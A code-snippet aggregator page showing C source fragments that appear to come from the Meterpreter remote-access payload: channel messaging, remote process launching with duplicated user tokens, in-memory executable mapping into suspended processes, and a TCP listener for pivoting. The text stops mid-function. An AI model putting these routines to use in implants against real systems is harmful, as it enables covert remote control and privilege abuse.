Beispiel #1
0
/*
 * Write to the remote end of the channel
 */
DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend,
                    DWORD addendLength, PUCHAR buffer, ULONG length,
                    ChannelCompletionRoutine *completionRoutine)
{
    PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
    ChannelCompletionRoutine *dupe = NULL;
    DWORD res = ERROR_SUCCESS;
    LPCSTR method = "core_channel_write";
    Packet *request;
    Tlv methodTlv;

    do
    {
        // Allocate a request packet
        if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL)))
        {
            res = ERROR_NOT_ENOUGH_MEMORY;
            break;
        }

        // Add the supplied TLVs
        packet_add_tlvs(request, addend, addendLength);

        // If no method TLV as added, add the default one.
        if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS)
            packet_add_tlv_string(request, TLV_TYPE_METHOD, method);

        // Add the channel identifier and the length to write
        packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));

        // if the channel data is ment to be compressed, compress it!
        if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) )
            packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, buffer, length);
        else
            packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA, buffer, length);

        packet_add_tlv_uint(request, TLV_TYPE_LENGTH, channel_get_id(channel));

        // Initialize the packet completion routine
        if (completionRoutine)
        {
            // Duplicate the completion routine
            dupe = channel_duplicate_completion_routine(completionRoutine);

            requestCompletion.context = dupe;
            requestCompletion.routine = _channel_packet_completion_routine;
            realRequestCompletion     = &requestCompletion;
        }

        // Transmit the packet with the supplied completion routine, if any.
        res = packet_transmit(remote, request, realRequestCompletion);

    } while (0);

    return res;
}
DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend,
        DWORD addendLength, PUCHAR buffer, ULONG length, 
        ChannelCompletionRoutine *completionRoutine)
{
    PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
    ChannelCompletionRoutine *dupe = NULL;
    DWORD res = ERROR_SUCCESS;
    LPCSTR method = "core_channel_write";
    Packet *request;
    Tlv methodTlv;

    do
    {
        if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL)))
        {
            res = ERROR_NOT_ENOUGH_MEMORY;
            break;
        }

        packet_add_tlvs(request, addend, addendLength);

        if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS)
            packet_add_tlv_string(request, TLV_TYPE_METHOD, method);

        packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));

        if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) )
            packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, buffer, length);
        else
            packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA, buffer, length);

        packet_add_tlv_uint(request, TLV_TYPE_LENGTH, channel_get_id(channel));

        if (completionRoutine)
        {
            dupe = channel_duplicate_completion_routine(completionRoutine);

            requestCompletion.context = dupe;
            requestCompletion.routine = _channel_packet_completion_routine;
            realRequestCompletion     = &requestCompletion;
        }

        res = packet_transmit(remote, request, realRequestCompletion);

    } while (0);

    return res;
}
Beispiel #3
0
/*
 * Allocates a streaming TCP channel
 *
 * TLVs:
 *
 * req: TLV_TYPE_HOST_NAME - The host to connect to
 * req: TLV_TYPE_PORT      - The port to connect to
 */
DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet)
{
	Channel *channel = NULL;
	Packet *response = packet_create_response(packet);
	DWORD result = ERROR_SUCCESS;
	LPCSTR host;
	DWORD port;

	do
	{
		// No response packet?
		if (!response)
			break;

		// Extract the hostname and port that we are to connect to
		host = packet_get_tlv_value_string(packet, TLV_TYPE_PEER_HOST);
		port = packet_get_tlv_value_uint(packet, TLV_TYPE_PEER_PORT);
	
		// Open the TCP channel
		if ((result = create_tcp_client_channel(remote, host, (USHORT)(port & 0xffff), &channel)) != ERROR_SUCCESS)
			break;

		// Set the channel's identifier on the response
		packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));

	} while (0);

	// Transmit the response
	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}
/*
 * core_channel_open
 * -----------------
 *
 * Opens a channel with the remote endpoint.  The response handler for this
 * request will establish the relationship on the other side.
 *
 * opt: TLV_TYPE_CHANNEL_TYPE 
 *      The channel type to allocate.  If set, the function returns, allowing
 *      a further up extension handler to allocate the channel.
 */
DWORD remote_request_core_channel_open(Remote *remote, Packet *packet)
{
	Packet *response;
	DWORD res = ERROR_SUCCESS;
	Channel *newChannel;
	PCHAR channelType;
	DWORD flags = 0;

	do
	{
		dprintf( "[CHANNEL] Opening new channel for packet %p", packet );

		// If the channel open request had a specific channel type
		if ((channelType = packet_get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE)))
		{
			res = ERROR_NOT_FOUND;
			break;
		}

		// Get any flags that were supplied
		flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);

		dprintf( "[CHANNEL] Opening %s %u", channelType, flags );

		// Allocate a response
		response = packet_create_response(packet);
		
		// Did the response allocation fail?
		if ((!response) || (!(newChannel = channel_create(0, flags))))
		{
			res = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		dprintf( "[CHANNEL] Opened %s %u", channelType, flags );

		// Get the channel class and set it
		newChannel->cls = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_CLASS);

		dprintf( "[CHANNEL] Channel class for %s: %u", channelType, newChannel->cls );

		// Add the new channel identifier to the response
		if ((res = packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,
				channel_get_id(newChannel))) != ERROR_SUCCESS)
			break;

		// Transmit the response
		dprintf( "[CHANNEL] Sending response for %s", channelType  );
		res = PACKET_TRANSMIT(remote, response, NULL);

		dprintf( "[CHANNEL] Done" );

	} while (0);

	return res;
}
Beispiel #5
0
/*
 * Set the interactive channel for input/output overriding
 */
VOID console_set_interactive_channel(Remote *remote, Channel *channel)
{
	// If an interactive channel is use, unset the interactive flag
	if (interactiveChannel)
		channel_interact(interactiveChannel, remote, NULL, 0, FALSE,
				NULL);

	interactiveChannel   = channel;
	interactiveChannelId = (channel) ? channel_get_id(channel) : 0;
}
Beispiel #6
0
/*
 * Interact with a given channel such that data on the remote end is
 * forwarded in real time rather than being polled.
 */
DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend,
                       DWORD addendLength, BOOL enable,
                       ChannelCompletionRoutine *completionRoutine)
{
    PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
    ChannelCompletionRoutine *dupe = NULL;
    LPCSTR method = "core_channel_interact";
    DWORD res = ERROR_SUCCESS;
    Packet *request;
    Tlv methodTlv;

    do
    {
        if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST,
                                      NULL)))
        {
            res = ERROR_NOT_ENOUGH_MEMORY;
            break;
        }

        // Add the supplied TLVs
        packet_add_tlvs(request, addend, addendLength);

        // If no method TLV as added, add the default one.
        if (packet_get_tlv(request, TLV_TYPE_METHOD,
                           &methodTlv) != ERROR_SUCCESS)
            packet_add_tlv_string(request, TLV_TYPE_METHOD,
                                  method);

        // Add the channel identifier
        packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID,
                            channel_get_id(channel));

        // Add the enable/disable boolean
        packet_add_tlv_bool(request, TLV_TYPE_BOOL, enable);

        // Initialize the packet completion routine
        if (completionRoutine)
        {
            // Duplicate the completion routine
            dupe = channel_duplicate_completion_routine(completionRoutine);

            requestCompletion.context = dupe;
            requestCompletion.routine = _channel_packet_completion_routine;
            realRequestCompletion     = &requestCompletion;
        }

        // Transmit the packet with the supplied completion routine, if any.
        res = packet_transmit(remote, request, realRequestCompletion);

    } while (0);

    return res;
}
DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend,
        DWORD addendLength, BOOL enable, 
        ChannelCompletionRoutine *completionRoutine)
{
    PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
    ChannelCompletionRoutine *dupe = NULL;
    LPCSTR method = "core_channel_interact";
    DWORD res = ERROR_SUCCESS;
    Packet *request;
    Tlv methodTlv;

    do
    {
        if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, 
                NULL)))
        {
            res = ERROR_NOT_ENOUGH_MEMORY;
            break;
        }

        packet_add_tlvs(request, addend, addendLength);

        if (packet_get_tlv(request, TLV_TYPE_METHOD,
                &methodTlv) != ERROR_SUCCESS)
            packet_add_tlv_string(request, TLV_TYPE_METHOD,
                    method);

        packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID,
                channel_get_id(channel));

        packet_add_tlv_bool(request, TLV_TYPE_BOOL, enable);

        if (completionRoutine)
        {
            dupe = channel_duplicate_completion_routine(completionRoutine);

            requestCompletion.context = dupe;
            requestCompletion.routine = _channel_packet_completion_routine;
            realRequestCompletion     = &requestCompletion;
        }

        res = packet_transmit(remote, request, realRequestCompletion);

    } while (0);

    return res;
}
Beispiel #8
0
/*
 * Write the supplied buffer to the remote endpoint of the channel.
 *
 * This will cause the passed buffer to be written in channel->ops.buffered on the
 * remote endpoint.
 */
DWORD channel_write_to_remote(Remote *remote, Channel *channel, PUCHAR chunk,
                              ULONG chunkLength, PULONG bytesWritten)
{
    Packet *request = packet_create(PACKET_TLV_TYPE_REQUEST,
                                    "core_channel_write");
    DWORD res = ERROR_SUCCESS;
    Tlv entries[2];
    DWORD idNbo;

    do
    {
        // Did the allocation fail?
        if (!request)
        {
            res = ERROR_NOT_ENOUGH_MEMORY;
            break;
        }

        idNbo = htonl(channel_get_id(channel));

        entries[0].header.type   = TLV_TYPE_CHANNEL_ID;
        entries[0].header.length = sizeof(DWORD);
        entries[0].buffer        = (PUCHAR)&idNbo;

        // if the channel data is ment to be compressed, compress it!
        if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) )
            entries[1].header.type = TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED;
        else
            entries[1].header.type = TLV_TYPE_CHANNEL_DATA;

        entries[1].header.length = chunkLength;
        entries[1].buffer        = chunk;

        // Add the TLV data
        if ((res = packet_add_tlv_group(request, TLV_TYPE_CHANNEL_DATA_GROUP, entries, 2)) != ERROR_SUCCESS)
            break;

        // Transmit the packet
        res = packet_transmit(remote, request, NULL);

    } while (0);

    return res;
}
/*
 * Executes a process using the supplied parameters, optionally creating a
 * channel through which output is filtered.
 *
 * req: TLV_TYPE_PROCESS_PATH      - The executable to launch
 * req: TLV_TYPE_PROCESS_ARGUMENTS - The arguments to pass
 * req: TLV_TYPE_FLAGS             - The flags to execute with
 */
DWORD request_sys_process_execute(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD result = ERROR_SUCCESS;
	Tlv inMemoryData;
	BOOL doInMemory = FALSE;
	PROCESS_INFORMATION pi;
	STARTUPINFO si;
	HANDLE in[2], out[2];
	PCHAR path, arguments, commandLine = NULL;
	DWORD flags = 0, createFlags = 0;
	BOOL inherit = FALSE;
	HANDLE token, pToken;
	char * cpDesktop = NULL;
	DWORD session = 0;
	LPVOID pEnvironment = NULL;
	LPFNCREATEENVIRONMENTBLOCK  lpfnCreateEnvironmentBlock  = NULL;
	LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL;
	HMODULE hUserEnvLib = NULL;
	ProcessChannelContext * ctx = NULL;

	dprintf( "[PROCESS] request_sys_process_execute" );

	// Initialize the startup information
	memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
	memset( &si, 0, sizeof(STARTUPINFO) );

	si.cb = sizeof(STARTUPINFO);

	// Initialize pipe handles
	in[0]  = NULL;
	in[1]  = NULL;
	out[0] = NULL;
	out[1] = NULL;

	do
	{
		// No response? We suck.
		if (!response)
		{
			break;
		}

		// Get the execution arguments
		arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
		path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
		flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);

		if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
		{
			doInMemory = TRUE;
			createFlags |= CREATE_SUSPENDED;
		}

		if (flags & PROCESS_EXECUTE_FLAG_DESKTOP)
		{
			do
			{
				cpDesktop = (char *)malloc(512);
				if (!cpDesktop)
					break;

				memset(cpDesktop, 0, 512);

				lock_acquire(remote->lock);

				_snprintf(cpDesktop, 512, "%s\\%s", remote->curr_station_name, remote->curr_desktop_name);

				lock_release(remote->lock);

				si.lpDesktop = cpDesktop;

			} while (0);
		}

		// If the remote endpoint provided arguments, combine them with the
		// executable to produce a command line
		if (path && arguments)
		{
			size_t commandLineLength = strlen(path) + strlen(arguments) + 2;

			if (!(commandLine = (PCHAR)malloc(commandLineLength)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			_snprintf(commandLine, commandLineLength, "%s %s", path, arguments);
		}
		else if (path)
		{
			commandLine = path;
		}
		else
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// If the channelized flag is set, create a pipe for stdin/stdout/stderr
		// such that input can be directed to and from the remote endpoint
		if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
		{
			SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
			PoolChannelOps chops;
			Channel *newChannel;

			// Allocate the channel context
			if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			memset(&chops, 0, sizeof(PoolChannelOps));

			// Initialize the channel operations
			dprintf("[PROCESS] context address 0x%p", ctx);
			chops.native.context = ctx;
			chops.native.write = process_channel_write;
			chops.native.close = process_channel_close;
			chops.native.interact = process_channel_interact;
			chops.read = process_channel_read;

			// Allocate the pool channel
			if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			// Set the channel's type to process
			channel_set_type(newChannel, "process");

			// Allocate the stdin and stdout pipes
			if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0)))
			{
				channel_destroy(newChannel, NULL);

				newChannel = NULL;

				free(ctx);

				result = GetLastError();
				break;
			}

			// Initialize the startup info to use the pipe handles
			si.dwFlags |= STARTF_USESTDHANDLES;
			si.hStdInput = in[0];
			si.hStdOutput = out[1];
			si.hStdError = out[1];
			inherit = TRUE;
			createFlags |= CREATE_NEW_CONSOLE;

			// Set the context to have the write side of stdin and the read side
			// of stdout
			ctx->pStdin = in[1];
			ctx->pStdout = out[0];

			// Add the channel identifier to the response packet
			packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
		}

		// If the hidden flag is set, create the process hidden
		if (flags & PROCESS_EXECUTE_FLAG_HIDDEN)
		{
			si.dwFlags |= STARTF_USESHOWWINDOW;
			si.wShowWindow = SW_HIDE;
			createFlags |= CREATE_NO_WINDOW;
		}

		// Should we create the process suspended?
		if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED)
			createFlags |= CREATE_SUSPENDED;

		if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN)
		{
			// If there is an impersonated token stored, use that one first, otherwise
			// try to grab the current thread token, then the process token
			if (remote->thread_token)
			{
				token = remote->thread_token;
				dprintf("[execute] using thread impersonation token");
			}
			else if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token))
			{
				OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token);
			}

			dprintf("[execute] token is 0x%.8x", token);

			// Duplicate to make primary token (try delegation first)
			if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken))
			{
				if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken))
				{
					result = GetLastError();
					dprintf("[execute] failed to duplicate token 0x%.8x", result);
					break;
				}
			}

			hUserEnvLib = LoadLibrary("userenv.dll");
			if (NULL != hUserEnvLib)
			{
				lpfnCreateEnvironmentBlock = (LPFNCREATEENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "CreateEnvironmentBlock");
				lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "DestroyEnvironmentBlock");
				if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock(&pEnvironment, pToken, FALSE))
				{
					createFlags |= CREATE_UNICODE_ENVIRONMENT;
					dprintf("[execute] created a duplicated environment block");
				}
				else
				{
					pEnvironment = NULL;
				}
			}

			// Try to execute the process with duplicated token
			if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi))
			{
				LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL;
				HANDLE hAdvapi32 = NULL;
				wchar_t * wcmdline = NULL;
				wchar_t * wdesktop = NULL;
				size_t size = 0;

				result = GetLastError();

				// sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only
				// available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO.
				if (result == ERROR_PRIVILEGE_NOT_HELD)
				{
					do
					{
						hAdvapi32 = LoadLibrary("advapi32.dll");
						if (!hAdvapi32)
						{
							break;
						}

						pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress(hAdvapi32, "CreateProcessWithTokenW");
						if (!pCreateProcessWithTokenW)
						{
							break;
						}

						// convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)...
						size = mbstowcs(NULL, commandLine, 0);
						if (size == (size_t)-1)
						{
							break;
						}

						wcmdline = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
						mbstowcs(wcmdline, commandLine, size);

						if (si.lpDesktop)
						{
							size = mbstowcs(NULL, (char *)si.lpDesktop, 0);
							if (size != (size_t)-1)
							{
								wdesktop = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
								mbstowcs(wdesktop, (char *)si.lpDesktop, size);
								si.lpDesktop = (LPSTR)wdesktop;
							}
						}

						if (!pCreateProcessWithTokenW(pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, (LPSTARTUPINFOW)&si, &pi))
						{
							result = GetLastError();
							dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result);
							break;
						}

						result = ERROR_SUCCESS;

					} while (0);

					if (hAdvapi32)
					{
						FreeLibrary(hAdvapi32);
					}

					SAFE_FREE(wdesktop);
					SAFE_FREE(wcmdline);
				}
				else
				{
					dprintf("[execute] failed to create the new process via CreateProcessAsUser 0x%.8x", result);
					break;
				}
			}

			if (lpfnDestroyEnvironmentBlock && pEnvironment)
			{
				lpfnDestroyEnvironmentBlock(pEnvironment);
			}

			if (NULL != hUserEnvLib)
			{
				FreeLibrary(hUserEnvLib);
			}
		}
		else if (flags & PROCESS_EXECUTE_FLAG_SESSION)
		{
			typedef BOOL(WINAPI * WTSQUERYUSERTOKEN)(ULONG SessionId, PHANDLE phToken);
			WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL;
			HANDLE hToken = NULL;
			HMODULE hWtsapi32 = NULL;
			BOOL bSuccess = FALSE;
			DWORD dwResult = ERROR_SUCCESS;

			do
			{
				// Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it.
				hWtsapi32 = LoadLibraryA("wtsapi32.dll");

				session = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_SESSION);

				if (session_id(GetCurrentProcessId()) == session || !hWtsapi32)
				{
					if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
					{
						BREAK_ON_ERROR("[PROCESS] execute in self session: CreateProcess failed");
					}
				}
				else
				{
					pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress(hWtsapi32, "WTSQueryUserToken");
					if (!pWTSQueryUserToken)
					{
						BREAK_ON_ERROR("[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed");
					}

					if (!pWTSQueryUserToken(session, &hToken))
					{
						BREAK_ON_ERROR("[PROCESS] execute in session: WTSQueryUserToken failed");
					}

					if (!CreateProcessAsUser(hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
					{
						BREAK_ON_ERROR("[PROCESS] execute in session: CreateProcessAsUser failed");
					}
				}

			} while (0);

			if (hWtsapi32)
			{
				FreeLibrary(hWtsapi32);
			}

			if (hToken)
			{
				CloseHandle(hToken);
			}

			result = dwResult;

			if (result != ERROR_SUCCESS)
			{
				break;
			}
		}
		else
		{
			// Try to execute the process
			if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
			{
				result = GetLastError();
				break;
			}
		}

		//
		// Do up the in memory exe execution if the user requested it
		//
		if (doInMemory)
		{

			//
			// Unmap the dummy executable and map in the new executable into the
			// target process
			//
			if (!MapNewExecutableRegionInProcess(pi.hProcess, pi.hThread, inMemoryData.buffer))
			{
				result = GetLastError();
				break;
			}

			//
			// Resume the thread and let it rock...
			//
			if (ResumeThread(pi.hThread) == (DWORD)-1)
			{
				result = GetLastError();
				break;
			}

		}

		// check for failure here otherwise we can get a case where we
		// failed but return a process id and this will throw off the ruby side.
		if (result == ERROR_SUCCESS)
		{
			// if we managed to successfully create a channelized process, we need to retain
			// a handle to it so that we can shut it down externally if required.
			if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED
				&& ctx != NULL)
			{
				dprintf("[PROCESS] started process 0x%x", pi.hProcess);
				ctx->pProcess = pi.hProcess;
			}

			// Add the process identifier to the response packet
			packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId);

			packet_add_tlv_qword(response, TLV_TYPE_PROCESS_HANDLE, (QWORD)pi.hProcess);

			CloseHandle(pi.hThread);
		}

	} while (0);

	// Close the read side of stdin and the write side of stdout
	if (in[0])
	{
		CloseHandle(in[0]);
	}
	if (out[1])
	{
		CloseHandle(out[1]);
	}

	// Free the command line if necessary
	if (path && arguments && commandLine)
	{
		free(commandLine);
	}

	if (cpDesktop)
	{
		free(cpDesktop);
	}

	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}
/*!
 * @brief Allocates a streaming TCP server channel.
 * @param remote Pointer to the remote instance.
 * @param packet Pointer to the request packet.
 * @returns Indication of success or failure.
 * @retval ERROR_SUCCESS Opening the server channel completed successfully.
 */
DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet)
{
    DWORD dwResult = ERROR_SUCCESS;
    TcpServerContext * ctx = NULL;
    Packet * response = NULL;
    char * localHost = NULL;
    StreamChannelOps chops = { 0 };
    USHORT localPort = 0;
    BOOL v4Fallback = FALSE;

    do
    {
        response = packet_create_response(packet);
        if (!response)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY);
        }

        ctx = (TcpServerContext *)malloc(sizeof(TcpServerContext));
        if (!ctx)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY);
        }

        memset(ctx, 0, sizeof(TcpServerContext));

        ctx->remote = remote;

        localPort = (USHORT)(packet_get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF);
        if (!localPort)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. localPort == NULL", ERROR_INVALID_HANDLE);
        }

        localHost = packet_get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST);

        ctx->fd = WSASocket(AF_INET6, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
        if (ctx->fd == INVALID_SOCKET)
        {
            v4Fallback = TRUE;
        }
        else
        {
            int no = 0;
            if (setsockopt(ctx->fd, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&no, sizeof(no)) == SOCKET_ERROR)
            {
                // fallback to ipv4 - we're probably running on Windows XP or earlier here, which means that to
                // support IPv4 and IPv6 we'd need to create two separate sockets. IPv6 on XP isn't that common
                // so instead, we'll just revert back to v4 and listen on that one address instead.
                closesocket(ctx->fd);
                v4Fallback = TRUE;
            }
        }

        struct sockaddr_in6 sockAddr = { 0 };
        DWORD sockAddrSize = 0;

        if (v4Fallback)
        {
            struct sockaddr_in* v4Addr = (struct sockaddr_in*)&sockAddr;
            v4Addr->sin_addr.s_addr = localHost == NULL ? htons(INADDR_ANY) : inet_addr(localHost);
            v4Addr->sin_family = AF_INET;
            v4Addr->sin_port = htons(localPort);
            sockAddrSize = sizeof(struct sockaddr_in);
        }
        else
        {
            // TODO: add IPv6 address binding support
            sockAddr.sin6_addr = in6addr_any;
            sockAddr.sin6_family = AF_INET6;
            sockAddr.sin6_port = htons(localPort);
            sockAddrSize = sizeof(struct sockaddr_in6);
        }

        if (bind(ctx->fd, (SOCKADDR *)&sockAddr, sockAddrSize) == SOCKET_ERROR)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed");
        }

        if (listen(ctx->fd, SOMAXCONN) == SOCKET_ERROR)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. listen failed");
        }

        ctx->notify = WSACreateEvent();
        if (ctx->notify == WSA_INVALID_EVENT)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSACreateEvent failed");
        }

        if (WSAEventSelect(ctx->fd, ctx->notify, FD_ACCEPT) == SOCKET_ERROR)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSAEventSelect failed");
        }

        ctx->ipv6 = !v4Fallback;

        memset(&chops, 0, sizeof(StreamChannelOps));
        chops.native.context = ctx;
        chops.native.close = tcp_channel_server_close;

        ctx->channel = channel_create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops);
        if (!ctx->channel)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE);
        }

        scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL);

        packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel));

        dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", localHost, localPort, channel_get_id(ctx->channel));

    } while (0);

    packet_transmit_response(dwResult, remote, response);

    do
    {
        if (dwResult == ERROR_SUCCESS)
        {
            break;
        }

        dprintf("[TCP-SERVER] Error encountered %u 0x%x", dwResult, dwResult);

        if (!ctx)
        {
            break;
        }

        if (ctx->fd)
        {
            dprintf("[TCP-SERVER] Destroying socket");
            closesocket(ctx->fd);
        }

        if (ctx->channel)
        {
            dprintf("[TCP-SERVER] Destroying channel");
            channel_destroy(ctx->channel, packet);
        }

        free(ctx);

    } while (0);

    return dwResult;
}
/*!
 * @brief Notify routine for a tcp server channel to pick up its new client connections..
 * @param remote Pointer to the remote instance.
 * @param serverCtx Pointer to the TCP server context.
 * @returns Indication of success or failure.
 * @retval ERROR_SUCCESS Notification completed successfully.
 */
DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx)
{
    DWORD dwResult = ERROR_SUCCESS;
    TcpClientContext* clientctx = NULL;
    Packet* request = NULL;
    SOCKADDR_IN6 clientaddr = { 0 };
    SOCKADDR_IN6 serveraddr = { 0 };
    SOCKET sock = 0;
    DWORD size = 0;
    char* localhost = NULL;
    char* peerhost = NULL;
    int localport = 0;
    int peerport = 0;

    do
    {
        if (!serverCtx)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_notify. serverCtx == NULL", ERROR_INVALID_HANDLE);
        }

        ResetEvent(serverCtx->notify);

        size = sizeof(SOCKADDR_IN6);

        sock = accept(serverCtx->fd, (SOCKADDR*)&clientaddr, &size);
        if (sock == INVALID_SOCKET)
        {
            if (WSAGetLastError() == WSAEWOULDBLOCK)
            {
                Sleep(100);
                break;
            }

            BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_notify. accept failed");
        }

        dprintf("[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", channel_get_id(serverCtx->channel), sock);

        clientctx = tcp_channel_server_create_client(serverCtx, sock);
        if (!clientctx)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_notify. clientctx == NULL", ERROR_INVALID_HANDLE);
        }

        size = sizeof(SOCKADDR_IN6);

        if (getsockname(serverCtx->fd, (SOCKADDR *)&serveraddr, &size) == SOCKET_ERROR)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. getsockname failed");
        }

        if (!serverCtx->ipv6)
        {
            localhost = inet_ntoa(((SOCKADDR_IN*)&serveraddr)->sin_addr);
        }

        if (!localhost)
        {
            localhost = "";
        }

        localport = ntohs(serverCtx->ipv6 ? serveraddr.sin6_port : ((SOCKADDR_IN*)&serveraddr)->sin_port);

        if (!serverCtx->ipv6)
        {
            peerhost = inet_ntoa(((SOCKADDR_IN*)&clientaddr)->sin_addr);
        }

        if (!peerhost)
        {
            peerhost = "";
        }

